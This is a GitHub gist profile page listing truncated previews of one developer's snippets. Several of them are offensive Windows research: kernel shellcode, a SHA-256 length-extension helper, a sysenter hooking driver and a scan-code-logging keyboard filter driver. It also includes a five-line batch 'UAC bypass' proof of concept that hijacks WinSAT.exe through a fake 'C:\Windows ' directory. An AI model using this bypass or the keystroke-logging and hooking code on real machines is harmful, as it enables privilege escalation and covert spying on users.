Skip to content

Instantly share code, notes, and snippets.

View Barakat's full-sized avatar

Barakat Barakat

108 followers · 4 following
View GitHub Profile
@Barakat
Barakat / kernel-shellcode.cpp
Created December 27, 2018 19:55
Windows x64 shellcode for locating the base address of ntoskrnl.exe
#include <wdm.h>
__declspec(dllexport)
__declspec(noinline)
void*
GetNtoskrnlBaseAddress()
{
//
// From Windows Internals part 1, chapter 2:
//
@Barakat
Barakat / config.h
Last active February 2, 2024 13:18
mbedTLS client and a simple TLS testing server example (with custom config.h), generated Windows x64 executable size ~256KB (mbedTLS + CRT statically linked)
#ifndef MBEDTLS_CONFIG_H
#define MBEDTLS_CONFIG_H
#define MBEDTLS_PLATFORM_C
#define MBEDTLS_GCM_C
#define MBEDTLS_PKCS1_V15
#define MBEDTLS_KEY_EXCHANGE_ECDHE_RSA_ENABLED
#define MBEDTLS_SSL_PROTO_TLS1_2
#define MBEDTLS_AES_C
#define MBEDTLS_ASN1_PARSE_C
@Barakat
Barakat / resumable_sha256.py
Created November 17, 2023 09:36
Modified implementation of sha256 that allows resuming from arbitrary hash state and perfroming length extension attacks
#!python3
import struct
import binascii
import hashlib
def resumable_sha256(message_with_pad: bytes, state: [int]) -> str:
"""
Modified implementation of sha256 that allows resuming from arbitrary hash state. The original sha256 hashing state
@Barakat
Barakat / Windows95.asm
Created January 19, 2019 08:29
Visual Studio 2005 CRT imports IsDebuggerPresent which is missing on Windows 95. This is a workaround, compile the following code as static library and pass it to the linker before kernel32.lib
.386
.model flat
extern _IsDebuggerPresentProxy@0:proc
public __imp__IsDebuggerPresent@0
public _IsDebuggerPresent@0
.data
@Barakat
Barakat / compiled_file_python_version.py
Created November 6, 2023 21:08 — forked from delimitry/compiled_file_python_version.py
Get the version of Python by which the file was compiled
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
A script to get the version of Python by which the file was compiled
"""
from __future__ import print_function
import binascii
import os
@Barakat
Barakat / CMakeLists.txt
Last active October 14, 2023 22:36
Minimal Objective-C++ SDL2 + Metal example
# CMakeLists.txt
cmake_minimum_required(VERSION 3.0)
project(example)
set(CMAKE_CXX_STANDARD 11)
find_package(SDL2 REQUIRED)
if (CMAKE_CXX_COMPILER_ID MATCHES "Clang")
set(CMAKE_COMPILER_IS_CLANGCXX 1)
endif ()
@Barakat
Barakat / Driver.c
Last active October 8, 2023 05:43
sysenter/KiFastCallEntry/IA32_SYSENTER_EIP hooking driver for Windows x86
//
// sysenter/KiFastCallEntry/IA32_SYSENTER_EIP hooking driver
//
// Barakat Soror (https://twitter.com/barakatsoror)
//
#include <wdm.h>
#include <intrin.h>
#ifndef _X86_
@Barakat
Barakat / KbdclassFltrDriver.c
Last active September 12, 2023 11:02
Kbdclass kernel filter driver to log scan-codes
#include <wdm.h>
#include <ntddkbd.h>
//
// Per-device object extension
//
typedef struct _DEVICE_EXTENSTION
{
//
// Driver must not be deleted as long as there is a pending IRP
@Barakat
Barakat / launcher.bat
Last active July 27, 2023 13:00
UAC bypass complete POC
cl /MT /LD winmm.c User32.lib Advapi32.lib
mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy "C:\Windows\System32\WinSAT.exe" "C:\Windows \System32\"
copy "winmm.dll" "C:\Windows \System32\"
"C:\Windows \System32\WinSAT.exe"
@Barakat
Barakat / tcpview.cpp
Created February 5, 2019 11:13
TCPView like example. It only displays IP4 TCP connections but you can extend it easily.
#include <Windows.h>
#include <iphlpapi.h>
#include <cstdio>
#pragma comment(lib, "iphlpapi.lib")
static void Ip4ToString(DWORD ip4, char ip4_string[16])
{
if (ip4 == 0)
{